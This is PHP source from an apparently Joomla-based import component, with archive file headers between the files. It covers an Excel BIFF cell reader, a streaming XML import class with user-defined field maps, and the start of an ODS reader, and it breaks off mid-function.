} } elseif ((ord($data[$spos+6])==2) && (ord($data[$spos+12])==255) && (ord($data[$spos+13])==255)) { //Error formula. Error code is in +2; } elseif ((ord($data[$spos+6])==3) && (ord($data[$spos+12])==255) && (ord($data[$spos+13])==255)) { //Formula result is a null string. $this->addcell($row, $column, ''); } else { // result is a number, so first 14 bytes are just like a _NUMBER record $tmp = unpack("ddouble", substr($data, $spos + 6, 8)); // It machine machine dependent if ($this->isDate($spos)) { $numValue = $tmp['double']; } else { $numValue = $this->createNumber($spos); } $info = $this->_getCellDetails($spos,$numValue,$column); $this->addcell($row, $column, $info['string'], $info); } break; case SPREADSHEET_EXCEL_READER_TYPE_BOOLERR: $row = ord($data[$spos]) | ord($data[$spos+1])<<8; $column = ord($data[$spos+2]) | ord($data[$spos+3])<<8; $string = ord($data[$spos+6]); $this->addcell($row, $column, $string); break; case SPREADSHEET_EXCEL_READER_TYPE_STRING: // http://code.google.com/p/php-excel-reader/issues/detail?id=4 if ($version == SPREADSHEET_EXCEL_READER_BIFF8){ // Unicode 16 string, like an SST record $xpos = $spos; $numChars =ord($data[$xpos]) | (ord($data[$xpos+1]) << 8); $xpos += 2; $optionFlags =ord($data[$xpos]); $xpos++; $asciiEncoding = (($optionFlags &0x01) == 0) ; $extendedString = (($optionFlags & 0x04) != 0); // See if string contains formatting information $richString = (($optionFlags & 0x08) != 0); if ($richString) { // Read in the crun $formattingRuns =ord($data[$xpos]) | (ord($data[$xpos+1]) << 8); $xpos += 2; } if ($extendedString) { // Read in cchExtRst $extendedRunLength =$this->_GetInt4d($this->data, $xpos); $xpos += 4; } $len = ($asciiEncoding)?$numChars : $numChars*2; $retstr =substr($data, $xpos, $len); $xpos += $len; $retstr = ($asciiEncoding)? $retstr : $this->_encodeUTF16($retstr); } elseif ($version == SPREADSHEET_EXCEL_READER_BIFF7){ // Simple byte string $xpos = $spos; $numChars =ord($data[$xpos]) | (ord($data[$xpos+1]) << 8); $xpos += 2; $retstr =substr($data, $xpos, $numChars); } $this->addcell($previousRow, $previousCol, $retstr); break; case SPREADSHEET_EXCEL_READER_TYPE_ROW: $row = ord($data[$spos]) | ord($data[$spos+1])<<8; $rowInfo = ord($data[$spos + 6]) | ((ord($data[$spos+7]) << 8) & 0x7FFF); if (($rowInfo & 0x8000) > 0) { $rowHeight = -1; } else { $rowHeight = $rowInfo & 0x7FFF; } $rowHidden = (ord($data[$spos + 12]) & 0x20) >> 5; $this->rowInfo[$this->sn][$row+1] = Array('height' => $rowHeight / 20, 'hidden'=>$rowHidden ); break; case SPREADSHEET_EXCEL_READER_TYPE_DBCELL: break; case SPREADSHEET_EXCEL_READER_TYPE_MULBLANK: $row = ord($data[$spos]) | ord($data[$spos+1])<<8; $column = ord($data[$spos+2]) | ord($data[$spos+3])<<8; $cols = ($length / 2) - 3; for ($c = 0; $c < $cols; $c++) { $xfindex = ord($data[$spos + 4 + ($c* 2)]) | ord($data[$spos + 5 + ($c* 2)])<<8; $this->addcell($row, $column + $c, "", array('xfIndex'=>$xfindex)); } break; case SPREADSHEET_EXCEL_READER_TYPE_LABEL: $row = ord($data[$spos]) | ord($data[$spos+1])<<8; $column = ord($data[$spos+2]) | ord($data[$spos+3])<<8; $this->addcell($row, $column, substr($data, $spos + 8, ord($data[$spos + 6]) | ord($data[$spos + 7])<<8)); break; case SPREADSHEET_EXCEL_READER_TYPE_EOF: $cont = false; break; case SPREADSHEET_EXCEL_READER_TYPE_HYPER: // Only handle hyperlinks to a URL $row = ord($this->data[$spos]) | ord($this->data[$spos+1])<<8; $row2 = ord($this->data[$spos+2]) | ord($this->data[$spos+3])<<8; $column = ord($this->data[$spos+4]) | ord($this->data[$spos+5])<<8; $column2 = ord($this->data[$spos+6]) | ord($this->data[$spos+7])<<8; $linkdata = Array(); $flags = ord($this->data[$spos + 28]); $udesc = ""; $ulink = ""; $uloc = 32; $linkdata['flags'] = $flags; if (($flags & 1) > 0 ) { // is a type we understand // is there a description ? if (($flags & 0x14) == 0x14 ) { // has a description $uloc += 4; $descLen = ord($this->data[$spos + 32]) | ord($this->data[$spos + 33]) << 8; $udesc = substr($this->data, $spos + $uloc, $descLen* 2); $uloc += 2* $descLen; } $ulink = $this->read16bitstring($this->data, $spos + $uloc + 20); if ($udesc == "") { $udesc = $ulink; } } $linkdata['desc'] = $udesc; $linkdata['link'] = $this->_encodeUTF16($ulink); for ($r=$row; $r<=$row2; $r++) { for ($c=$column; $c<=$column2; $c++) { $this->sheets[$this->sn]['cellsInfo'][$r+1][$c+1]['hyperlink'] = $linkdata; } } break; case SPREADSHEET_EXCEL_READER_TYPE_DEFCOLWIDTH: $this->defaultColWidth = ord($data[$spos+4]) | ord($data[$spos+5]) << 8; break; case SPREADSHEET_EXCEL_READER_TYPE_STANDARDWIDTH: $this->standardColWidth = ord($data[$spos+4]) | ord($data[$spos+5]) << 8; break; case SPREADSHEET_EXCEL_READER_TYPE_COLINFO: $colfrom = ord($data[$spos+0]) | ord($data[$spos+1]) << 8; $colto = ord($data[$spos+2]) | ord($data[$spos+3]) << 8; $cw = ord($data[$spos+4]) | ord($data[$spos+5]) << 8; $cxf = ord($data[$spos+6]) | ord($data[$spos+7]) << 8; $co = ord($data[$spos+8]); for ($coli = $colfrom; $coli <= $colto; $coli++) { $this->colInfo[$this->sn][$coli+1] = Array('width' => $cw, 'xf' => $cxf, 'hidden' => ($co & 0x01), 'collapsed' => ($co & 0x1000) >> 12); } break; default: break; } $spos += $length; } if (!isset($this->sheets[$this->sn]['numRows'])) $this->sheets[$this->sn]['numRows'] = $this->sheets[$this->sn]['maxrow']; if (!isset($this->sheets[$this->sn]['numCols'])) $this->sheets[$this->sn]['numCols'] = $this->sheets[$this->sn]['maxcol']; } function isDate($spos) { $xfindex = ord($this->data[$spos+4]) | ord($this->data[$spos+5]) << 8; return ($this->xfRecords[$xfindex]['type'] == 'date'); } // Get the details for a particular cell function _getCellDetails($spos,$numValue,$column) { $xfindex = ord($this->data[$spos+4]) | ord($this->data[$spos+5]) << 8; $xfrecord = $this->xfRecords[$xfindex]; $type = $xfrecord['type']; $format = $xfrecord['format']; $formatIndex = $xfrecord['formatIndex']; $fontIndex = $xfrecord['fontIndex']; $formatColor = ""; $rectype = ''; $string = ''; $raw = ''; if (isset($this->_columnsFormat[$column + 1])){ $format = $this->_columnsFormat[$column + 1]; } if ($type == 'date') { // See http://groups.google.com/group/php-excel-reader-discuss/browse_frm/thread/9c3f9790d12d8e10/f2045c2369ac79de $rectype = 'date'; // Convert numeric value into a date $utcDays = floor($numValue - ($this->nineteenFour ? SPREADSHEET_EXCEL_READER_UTCOFFSETDAYS1904 : SPREADSHEET_EXCEL_READER_UTCOFFSETDAYS)); $utcValue = ($utcDays)* SPREADSHEET_EXCEL_READER_MSINADAY; $dateinfo = gmgetdate($utcValue); $raw = $numValue; $fractionalDay = $numValue - floor($numValue) + .0000001; // The .0000001 is to fix for php/excel fractional diffs $totalseconds = floor(SPREADSHEET_EXCEL_READER_MSINADAY* $fractionalDay); $secs = $totalseconds % 60; $totalseconds -= $secs; $hours = floor($totalseconds / (60* 60)); $mins = floor($totalseconds / 60) % 60; $string = date ($format, mktime($hours, $mins, $secs, $dateinfo["mon"], $dateinfo["mday"], $dateinfo["year"])); } else if ($type == 'number') { $rectype = 'number'; $formatted = $this->_format_value($format, $numValue, $formatIndex); $string = $formatted['string']; $formatColor = $formatted['formatColor']; $raw = $numValue; } else{ if ($format=="") { $format = $this->_defaultFormat; } $rectype = 'unknown'; $formatted = $this->_format_value($format, $numValue, $formatIndex); $string = $formatted['string']; $formatColor = $formatted['formatColor']; $raw = $numValue; } return array( 'string'=>$string, 'raw'=>$raw, 'rectype'=>$rectype, 'format'=>$format, 'formatIndex'=>$formatIndex, 'fontIndex'=>$fontIndex, 'formatColor'=>$formatColor, 'xfIndex'=>$xfindex ); } function createNumber($spos) { $rknumhigh = $this->_GetInt4d($this->data, $spos + 10); $rknumlow = $this->_GetInt4d($this->data, $spos + 6); $sign = ($rknumhigh & 0x80000000) >> 31; $exp = ($rknumhigh & 0x7ff00000) >> 20; $mantissa = (0x100000 | ($rknumhigh & 0x000fffff)); $mantissalow1 = ($rknumlow & 0x80000000) >> 31; $mantissalow2 = ($rknumlow & 0x7fffffff); $value = $mantissa / pow( 2 , (20- ($exp - 1023))); if ($mantissalow1 != 0) $value += 1 / pow (2 , (21 - ($exp - 1023))); $value += $mantissalow2 / pow (2 , (52 - ($exp - 1023))); if ($sign) {$value = -1* $value;} return $value; } function addcell($row, $col, $string, $info=null) { $this->sheets[$this->sn]['maxrow'] = max($this->sheets[$this->sn]['maxrow'], $row + $this->_rowoffset); $this->sheets[$this->sn]['maxcol'] = max($this->sheets[$this->sn]['maxcol'], $col + $this->_coloffset); $this->sheets[$this->sn]['cells'][$row + $this->_rowoffset][$col + $this->_coloffset] = $string; if ($this->store_extended_info && $info) { foreach ($info as $key=>$val) { $this->sheets[$this->sn]['cellsInfo'][$row + $this->_rowoffset][$col + $this->_coloffset][$key] = $val; } } } function _GetIEEE754($rknum) { if (($rknum & 0x02) != 0) { $value = $rknum >> 2; } else { //mmp // I got my info on IEEE754 encoding from // http://research.microsoft.com/~hollasch/cgindex/coding/ieeefloat.html // The RK format calls for using only the most significant 30 bits of the // 64 bit floating point value. The other 34 bits are assumed to be 0 // So, we use the upper 30 bits of $rknum as follows... $sign = ($rknum & 0x80000000) >> 31; $exp = ($rknum & 0x7ff00000) >> 20; $mantissa = (0x100000 | ($rknum & 0x000ffffc)); $value = $mantissa / pow( 2 , (20- ($exp - 1023))); if ($sign) { $value = -1* $value; } //end of changes by mmp } if (($rknum & 0x01) != 0) { $value /= 100; } return $value; } function _encodeUTF16($string) { $result = $string; if ($this->_defaultEncoding){ switch ($this->_encoderFunction){ case 'iconv' : $result = @iconv('UTF-16LE', $this->_defaultEncoding, $string); break; case 'mb_convert_encoding' : $result = @mb_convert_encoding($string, $this->_defaultEncoding, 'UTF-16LE' ); break; } } return $result; } function _GetInt4d($data, $pos) { $value = ord($data[$pos]) | (ord($data[$pos+1]) << 8) | (ord($data[$pos+2]) << 16) | (ord($data[$pos+3]) << 24); if ($value>=4294967294) { $value=-2; } return $value; } } ?> PKs>\oV!k!k$com_csvi/helpers/file/import/xml.phpnuW+A_getXmlFields() == true) { $jinput = JFactory::getApplication()->input; $jinput->set('columnheaders', $this->_xml_fields); return true; } else { /** * Note: clearing the value when no fields found causes a problem when processing * XML files with the 'use headers' option set because the function is called after the * end of file has been reached. When an empty set of fields is returned, the program * fails to terminate properly and loops endlessly through the import continuation page. */ return false; } } /** * Get the file position * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return int current position in the file * @since 3.0 */ public function getFilePos() { return $this->linepointer; } /** * Set the file position * * To be able to set the file position correctly, the XML reader needs to be at the start of the file * * @copyright * @author RolandD * @todo * @see * @access public * @param int $pos the position to move to * @return int current position in the file * @since 3.0 */ public function setFilePos($pos) { // Close the XML reader $this->closeFile(false); // Open a new XML reader $this->processFile(); // Move the pointer to the specified position return $this->_skipXmlRecords($pos); } /** * Close the file * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ public function closeFile($removefolder=true) { $this->data->close(); $this->_xml_cache = false; $this->_closed = true; parent::closeFile($removefolder); } /** * Read the next line in the file * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return array with the line of data read | false if data cannot be read * @since 3.0 */ public function readNextLine() { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); $csvilog->addDebug('Reading next line'); if ($this->_getXmlData() == true) { $this->linepointer++; return $this->_xml_data; } else { return false; } } /** * Process the file to import * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ public function processFile() { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); // Use a streaming approach to support large files $this->data = new XMLReader(); $this->fp = $this->data->open($this->filename); if ($this->fp == false) { $csvilog->AddStats('incorrect', JText::_('COM_CSVI_ERROR_XML_READING_FILE')); return false; } // File opened successfully - Prepare the arrays needed to read data from the XML file $this->fp = $this->_getXmlSchema(); if ($this->fp == false) { $this->closeFile(); $csvilog->AddStats('incorrect', JText::_('COM_CSVI_XML_INVALID_TABLE')); return false; } return true; } /** * Searches an XML file for a series of nodes representing a complete record. The name(s) of the nodes representing records * must be supplied (via the 'xml_nodes_map' field) but the list of fields can be supplied in three ways: * 1 No fields defined in the 'xml_nodes_map' field and the 'use headers' option set to 'off'. Despite the 'use headers' being set * to 'off', the field nodes in the first record are used to configure the whole run. This requires that all fields be present in * every record, the node names match the field names and that all of the 'field' nodes are one level below the 'record' node in * the XML hierarchy. * 2 No fields defined in the 'xml_nodes_map' field and the 'use headers' option set to 'on'. This causes the 'headers to be read * from the XML nodes for every record. This is suitable if not all of the fields are populated for every record in the XML file * but is slower than option 1. * 3 Fields defined in the 'xml_nodes_map' field. The 'use headers' option is ignored. This gives the flexibility to set up a map * so that an XML hierarchy can be modelled, node names to be mapped to field names and also allows fields to be extracted from * node attributes. * * It is possible that the current node when the function is called is the start of the next record. * Valid 'record' node names are held in the $this->_xml_records array. * Valid 'field' node and attribute names are held in the $this->_xml_schema array. * The arrays $this->_xml_data and $this->_xml_fields are populated with data and field names respectively. To prevent SQL errors * when writing the data to the table, only fields found in the array $this->_supported_fields are included. This function could be * extended. * * @copyright * @author doorknob * @todo * @see * @access private * @param * @return bool - indicates whether the array $this->_xml_data was populated. * @since 3.0 */ private function _getXmlFieldsAndData() { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); // Initialise the arrays that will receive the data and field list from the next record $this->_xml_data = array(); $this->_xml_fields = array(); // Validation checking disabled because a DTD (or RELAX NG) schema is required and is usually not available $validate_xml = false; if( $validate_xml == true ) { // Note: When the DTD is external, this must be done before the first read() $this->data->setParserProperty(XMLReader::VALIDATE, true); } /** * Search for the start of the next record but only read the file if the next record is not already current * Must be the correct element type (start of node) and in the list of valid record nodes. * Note: Self closing notes are accepted because they may contain data in the attributes */ if (!$this->_isXmlRecordNode($this->data->nodeType, $this->data->name)) { // Either no current node or the current node is not the start of a record while( $this->data->read() ) { if( $validate_xml == true ) { $this->fp = $this->data->isValid(); if( $this->fp == false ){ $this->closeFile(); $csvilog->AddStats('incorrect', JText::_('COM_CSVI_XML_FILE_INVALID')); return false; } } if( $this->_isXmlRecordNode( $this->data->nodeType, $this->data->name ) ) { // Record node found break; } } } // Check whether a record was found if ($this->_isXmlRecordNode($this->data->nodeType, $this->data->name)) { // Start of a valid record $self_closing = $this->data->isEmptyElement; $record_name = strtolower($this->data->name); // Extract any attributes, if defined if (isset($this->_xml_schema[$record_name]['attrs']) ) { // Record level attributes are defined as fields while( $this->data->moveToNextAttribute() ) { // Check each attribute to determine whether the value should be extracted if( isset($this->_xml_schema[$record_name]['attrs'][strtolower($this->data->name)]) ) { $this->_xml_fields[] = $this->_xml_schema[$record_name]['attrs'][strtolower($this->data->name)]; $this->_xml_data[] = $this->data->value; } } } if ($self_closing == false) { // Now search for group/field nodes $xml_path = array(); /** * Note: $this->data->next() is used rather than $this->data->read() when the readInnerXML() function has been used * to extract the contents of a node. Because the contect extracted may contain other nodes,$this->data->next() is * used to skip to the closing node. * readInnerXML() is used in case the data contains html tags but it doesn't move the file pointer. * Subsequently using $this->data->next() forces the pointer to skip past any HTML tags that have already been read. * The value does not need to be maintained between between calls to this function because readInnerXML() is * never used immediately before exiting the function. */ $use_read = true; while ($use_read == true ? $this->data->read() : $this->data->next() ) { // XML error detection if ($validate_xml == true) { $this->fp = $this->data->isValid(); if( $this->fp == false ){ $this->closeFile(); $csvilog->AddStats('incorrect', JText::_('COM_CSVI_XML_FILE_INVALID')); return false; } } // Default to a reading a single node in the next loop $use_read = true; // Searching for a group or field node if ($this->data->nodeType == XMLReader::ELEMENT) { // New node found $self_closing = $this->data->isEmptyElement; if (empty($this->_xml_schema)) { // Template fields being used to control the data extraction if ($this->_isXmlFieldNameValid($this->data->name)) { // Node corresponding to a supported field found - extract the data $this->_xml_fields[] = strtolower($this->data->name); $xmldata = $this->data->readInnerXML(); $xmldata = str_ireplace(array(''), '', $xmldata); $this->_xml_data[] = $xmldata; // At the next read, skip to the next node at this level $use_read = false; } else { // A node has been found that does not match the available fields list $csvilog->addDebug(JText::sprintf('COM_CSVI_XML_NODE_NOT_MATCH_FIELD', $this->data->name)); } } else { // The user defined map is being used to control the data extraction $current_path = $this->_getXmlNodePath($xml_path, strtolower($this->data->name)); // The node may have attributes that map to fields, regardless of the type of node if (isset($this->_xml_schema[$record_name]['nodes'][$current_path]['attrs'])) { // Node has attributes that are defined as fields while ($this->data->moveToNextAttribute()) { // Check each attribute to determine whether the value should be extracted if( isset($this->_xml_schema[$record_name]['nodes'][$current_path]['attrs'][strtolower($this->data->name)]) ) { $this->_xml_fields[] = $this->_xml_schema[$record_name]['nodes'][$current_path]['attrs'][strtolower($this->data->name)]; $xmldata = $this->data->readInnerXML(); $xmldata = str_ireplace(array(''), '', $xmldata); $this->_xml_data[] = $xmldata; // At the next read, skip to the next node at this level $use_read = false; } } } if (empty($this->_xml_schema[$record_name]['nodes'][$current_path]['field'])) { // This node is not defined as a field if (isset($this->_xml_schema[$record_name]['nodes'][$current_path]['field'])) { // This is a 'group' node - add it to the path unless it is self closing if( $self_closing == false ) { $this->_pushXmlNodePath( $xml_path, $this->data->name ); } } else { // Unknown node found - The file is not mapped correctly and the run cannot continue $csvilog->addDebug(JText::sprintf('COM_CSVI_XML_UNMAPPED_NODE', $this->data->name)); $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_XML_UNDEFINED_NODE', $this->data->name)); return false; } } else { // This node is defined as a field - extract the data $this->_xml_fields[] = $this->_xml_schema[$record_name]['nodes'][$current_path]['field']; $xmldata = $this->data->readInnerXML(); $xmldata = str_ireplace(array(''), '', $xmldata); $this->_xml_data[] = $xmldata; // At the next read, skip to the next node at this level $use_read = false; } } } else if ($this->data->nodeType == XMLReader::END_ELEMENT) { // Searching for the end of the record or the end of a group node if( strtolower($this->data->name) == $record_name ) { // End of record found break; } else { // End of node - Only valid case is the end of a group node if( !empty($this->_xml_schema) && !empty($xml_path) && $xml_path[count($xml_path)-1] == strtolower($this->data->name) ) { // End of group node found - pop it from the stack $this->_popXmlNodePath( $xml_path ); } else { // Unknown end of node - error $csvilog->addDebug(JText::sprintf('COM_CSVI_XML_UNEXPECTED_END_NODE', $this->data->name)); } } } } } } $this->_xml_cache = !empty($this->_xml_data); return $this->_xml_cache; } /** * Returns a boolean value to indicate whether the specified node is a new XML record type. * * @copyright * @author doorknob * @todo * @see * @access private * @param * @return bool true if record is a node | false if record is not a node * @since 3.0 */ private function _isXmlRecordNode( $node_type, $node_name ) { return ($node_type == XMLReader::ELEMENT && in_array(strtolower($node_name), $this->_xml_records)); } /** * Returns the list of data values found in the most recently read XML record. If the getXmlFields() function has been * called since the last call of this function, the cache may be full and the data can be returned without reading the file. * * @return array - The list of data values from the most recently read XML record (empty when end of file is reached) */ private function _getXmlData() { $return = !empty($this->_xml_data); if( $this->_xml_cache == false ) { $return = $this->_getXmlFieldsAndData(); } // Indicate that a new record will be required the next time this function is called $this->_xml_cache = false; return $return; } /** * Returns the list of fields found in the most recently read XML record. If the cache is empty, the next record is * read from the input file to ensure that the headers correspond with the data (in XML files, each record can have a * different set of 'headers'). Checking the status of the cache indicator also prevents records being skipped if this * function is called multiple times between records. * * @return array - The list of fields from the most recently read XML record (empty when end of file is reached) */ private function _getXmlFields() { $return = !empty($this->_xml_fields); if ($this->_xml_cache == false) { $return = $this->_getXmlFieldsAndData(); } return $return; } /** * Skips through the XML file until the the required number 'record' nodes has been read * Assume the file pointer is at the start of file * * @copyright * @author doorknob, RolandD * @todo * @see * @access private * @param * @return boolean true if records are skipped | false if records are not skipped * @since 3.0 */ private function _skipXmlRecords($pos) { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); // Check whether the pointer needs to be moved if ($pos <= 0) return true; $count = 0; /** * Note: When the DTD is external, this must be done before the first read() * Validation not used because invalid files generate php errors when validated */ $validate_xml = false; if( $validate_xml == true ) { $this->data->setParserProperty(XMLReader::VALIDATE, true); } while ($this->data->read()) { // Validation checking disabled because a DTD (or RELAX NG) schema is required and is usually not available if( $validate_xml == true ) { $this->fp = $this->data->isValid(); if( $this->fp == false ){ $this->closeFile(); $csvilog->AddStats('incorrect', JText::_('COM_CSVI_XML_INVALID')); return false; } } // Searching for a valid record - must be the start of a node and in the list of valid record types if( !$this->_isXmlRecordNode( $this->data->nodeType, $this->data->name ) ) { // Not found - try again continue; } else { // Found a valid record while( $this->_isXmlRecordNode( $this->data->nodeType, $this->data->name ) ) { // Node is a valid record type - skip to the end of the record $this->data->next(); $count++; if( $count == $pos) { return true; } } } } // Hit EOF before skipping the required number of records return false; } /** * Build an array of xml nodes from the user defined map: * * $this->_xml_schema[record_node]['attrs'][attr_name] => field name * $this->_xml_schema[record_node]['nodes'][field_node_path]['attrs'][attr_name] => field name * $this->_xml_schema[record_node]['nodes'][field_node_path]['field'] => field name * Note: field_node_path is a comma separated list of node names below the record node * * @return bool returns true if all fine else false */ private function _getXmlSchema() { $jinput = JFactory::getApplication()->input; $template = $jinput->get('template', null, null); $xml_nodes_map = $template->get('xml_nodes_map', 'general', '', 'string', JREQUEST_ALLOWRAW); $xml_node_path = array(); // Single copy of this array that is passed by reference only $current_record = ''; // Single copy of this variable that is passed by reference only return $this->_getXmlNode($xml_nodes_map, $current_record, $xml_node_path); } /** * Process a node from the XML Map * It is permitted for the XML to just define one or more tables without fields (when the 'use headers' option is used) * * Note: Calls itself recursively to process a tree * * @return bool returns true if all fine else false */ private function _getXmlNode($node_content, $current_record, $xml_path) { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); $current_node = ''; $xml_schema = new XMLReader(); /** * Add a wrapper to make the XML viable and ensure that self closing tags contain a space before the '/>' * The XML may still be invalid but that's down to what the user entered */ $node_content = "\n".$node_content.''; $xml_schema->XML($node_content); // XML file to table map is valid XML - construct the arrays used in file extraction $use_read = true; // The XML could only be validated against a DTD if the syntax of the XML used for the map is made more complex $validate_xml = false; if ($validate_xml == true) { // Note: When the DTD is external, the property value must be set before the first read() $xml_schema->setParserProperty(XMLReader::VALIDATE, true); } while($use_read ? $xml_schema->read() : $xml_schema->next()) { // Validation checking disabled because a DTD (or RELAX NG) schema is required. if ($validate_xml == true) { if( $xml_schema->isValid() == false ){ $xml_schema->close(); return false; } } // Default to a reading a single node in the next loop $use_read = true; // Ignore any node associated with the root if ($xml_schema->name == 'da_root' ) { continue; } // Process start elements if ($xml_schema->nodeType == XMLReader::ELEMENT) { $self_closing = $xml_schema->isEmptyElement; // Ready to add a new node - but only if the last node was closed if (!empty($current_node)) { $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_XML_NODE_UNCLOSED', $current_node)); return false; } // A new node was found - Check whether this is a new record type if (empty($current_record)) { // New record type // Check for a self-closing node $self_closing = $xml_schema->isEmptyElement; $current_record = strtolower($xml_schema->name); $this->_xml_records[] = strtolower($current_record); // Store any attributes while ($xml_schema->moveToNextAttribute()) { // Note1: $xml_schema->hasValue only indicates whether the element can have a value, not whether it does // Note2: empty($xml_schema->value) always return true, regardless of the actual value $value = $xml_schema->value; if( !empty($value) ) { if( $this->_isXmlFieldNameValid($xml_schema->value) ) { $this->_xml_schema[$current_record]['attrs'][strtolower($xml_schema->name)] = trim($xml_schema->value); } else { $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_XML_FILE_MAP_NO_REFERENCE', $xml_schema->value)); $xml_schema->close(); return false; } } } // Check for a self-closing node if( $self_closing == true ) { $current_record = ''; } } else { // New field type $current_node = strtolower($xml_schema->name); $current_path = $this->_getXmlNodePath($xml_path, $current_node); // Store any attributes while ($xml_schema->moveToNextAttribute()) { // Note1: $xml_schema->hasValue only indicates whether the element can have a value, not whether it does // Note2: empty($xml_schema->value) always return true, regardless of the actual value $value = $xml_schema->value; if( !empty($value) ) { if( $this->_isXmlFieldNameValid( $xml_schema->value ) ) { $this->_xml_schema[$current_record]['nodes'][$current_path]['attrs'][strtolower($xml_schema->name)] = trim($xml_schema->value); } else { $csvilog->AddStats('incorrect', JText::_('COM_CSVI_XML_FILE_MAP_NO_REFERENCE', $xml_schema->value)); $xml_schema->close(); return false; } } } $sub_node_content = $xml_schema->readInnerXML(); // Check whether there are any lower level nodes if (strstr($sub_node_content, '<') === false) { /** * Content has no embedded nodes - Assume a field name * Note: An empty node gives a blank field name which indicates an unwanted node * that is being mapped to prevent errors when processing the file */ if ($this->_isXmlFieldNameValid($sub_node_content)) { $this->_xml_schema[$current_record]['nodes'][$current_path]['field'] = trim($sub_node_content); } else { $this->_xml_schema[$current_record]['nodes'][$current_path]['field'] = ''; } } else { // There are embedded nodes - go down another level // Indicate a 'group' node by storing an empty field name $this->_xml_schema[$current_record]['nodes'][$current_path]['field'] = ''; // Push the node name to the path stack $this->_pushXmlNodePath($xml_path, $current_node); if( $this->_getXmlNode($sub_node_content, $current_record, $xml_path) == false ) { $xml_schema->close(); return false; } // At the next read, skip to the next node at this level $use_read = false; // Close the node $current_node = ''; // Pop the last item off the path stack $this->_popXmlNodePath($xml_path); } // Check for a self-closing node if ($self_closing == true) { $current_node = ''; } } } // Process end elements else if( $xml_schema->nodeType == XMLReader::END_ELEMENT ) { // End of node found // Check for end of record if( !empty($current_record) && strtolower($xml_schema->name) == $current_record ) { // End of record detected $current_record = ''; } // Check that the expected node was closed else if( !empty($current_node) && strtolower($xml_schema->name) == $current_node ) { // End of current node detected $current_node = ''; } } } $xml_schema->close(); // Node not terminated if (!empty($current_node) ) { $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_XML_NODE_NOT_CLOSED', $current_node)); return false; } if (empty($this->_xml_records) ) { $csvilog->AddStats('incorrect', JText::_('COM_CSVI_XML_NO_RECORDS_DEFINED')); return false; } return true; } /** * Create a string to represent the XML node hierarchy from the 'record' node to a 'field' node * * @return string */ private function _getXmlNodePath($xml_path, $node_name) { return implode(',', $xml_path).(empty($xml_path) ? '' : ',').$node_name; } /** * Determines whether a specific field name is included in the list of * * @return boolean */ private function _isXmlFieldNameValid($field_name) { return in_array(strtolower($field_name), $this->_supported_fields); } /** * Add a new entry to the XML node stack */ private function _pushXmlNodePath($xml_path, $node_name) { /** * Note: The array index is made explicit because when a new row is added, the index value * assigned is one greater than that previously assigned. When enries are being continuously * added and removed, the automatically assigned index number becomes unpredictable */ $xml_path[count($xml_path)] = strtolower($node_name); } /** * Remove the last entry from the XML node stack * * @copyright * @author doorknob * @todo * @see * @access private * @param * @return * @since 3.0 */ private function _popXmlNodePath($xml_path) { if( count($xml_path) > 1 ) { unset($xml_path[count($xml_path)-1]); } else { $xml_path = array(); } } /** * Sets the file pointer back to beginning * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ public function rewind() { $this->linepointer = 0; } /** * Advances the file pointer 1 forward * * @copyright * @author RolandD * @todo * @see * @access public * @param bool $preview True if called from the preview * @return * @since 3.0 */ public function next($preview=false) { if (!$preview) $discard = $this->readNextLine(); } } ?> PKs>\'com_csvi/helpers/file/import/index.htmlnuW+APKs>\FXʖ+com_csvi/helpers/file/import/ods_reader.phpnuW+A */ public function read($filename) { $this->_file = $filename; list($this->_xml_parser, $fp) = $this->new_xml_parser($this->_file); if (!$this->_xml_parser) { die("could not open XML input"); } $data = ''; while (!feof($fp)) { $data .= fread($fp, 4096); } fclose($fp); if (!xml_parse($this->_xml_parser, $data, true)) { die(sprintf("XML error: %s at line %d\n", xml_error_string(xml_get_error_code($this->_xml_parser)), xml_get_current_line_number($this->_xml_parser))); } xml_parser_free($this->_xml_parser); $this->cols = count($this->_data[1]); $this->rows = count($this->_data); return true; } /** * Handle the opening element */ private function startElement($parser, $tagname, $attribs) { switch ($tagname) { case 'TABLE:TABLE-ROW': $this->_linecount++; break; case 'TABLE:TABLE-CELL': $styles = array_keys($attribs); if (empty($styles)) { $this->_data[$this->_linecount]['options']['repeat'] = 1; } else { foreach ($styles as $stylekey => $style) { switch ($style) { case 'TABLE:NUMBER-COLUMNS-REPEATED': $this->_data[$this->_linecount]['options']['repeat'] = $attribs[$style]; break; case 'OFFICE:VALUE-TYPE': $this->_data[$this->_linecount]['options']['type'] = $attribs[$style]; break; } } } break; case 'TEXT:P': $this->_data[$this->_linecount]; break; } } /** * Handle the closing element */ private function endElement($parser, $name) { if (array_key_exists($this->_linecount, $this->_data)) { if (!array_key_exists('data', $this->_data[$this->_linecount]) && array_key_exists('options', $this->_data[$this->_linecount])) { foreach ($this->_data[$this->_linecount]['options'] as $option => $value) { switch ($option) { case 'type': break; case 'repeat': for ($r=0; $r < $value; $r++) { $this->_data[$this->_linecount][] = ''; } break; } } } else unset($this->_data[$this->_linecount]['data']); if (array_key_exists('options', $this->_data[$this->_linecount])) unset($this->_data[$this->_linecount]['options']); } } /** * Handle the data * * @todo parse */ private function characterData($parser, $data) { foreach ($this->_data[$this->_linecount]['options'] as $option => $value) { switch ($option) { case 'type': break; case 'repeat': for ($r=1; $r < $value; $r++) { $this->_data[$this->_linecount][] = $data; } break; } } $this->_data[$this->_linecount][] = $data; unset($this->_data[$this->_linecount]['options']); $this->_data[$this->_linecount]['data'] = true; } private function new_xml_parser($file) { $this->_xml_parser = xml_parser_create("UTF-8"); xml_parser_set_option($this->_xml_parser, XML_OPTION_CASE_FOLDING, 1); xml_set_object($this->_xml_parser, $this); xml_set_element_handler($this->_xml_parser, "startElement", "endElement"); xml_set_character_data_handler($this->_xml_parser, "characterData"); $fp = fopen($file, "rb"); if (!$fp) 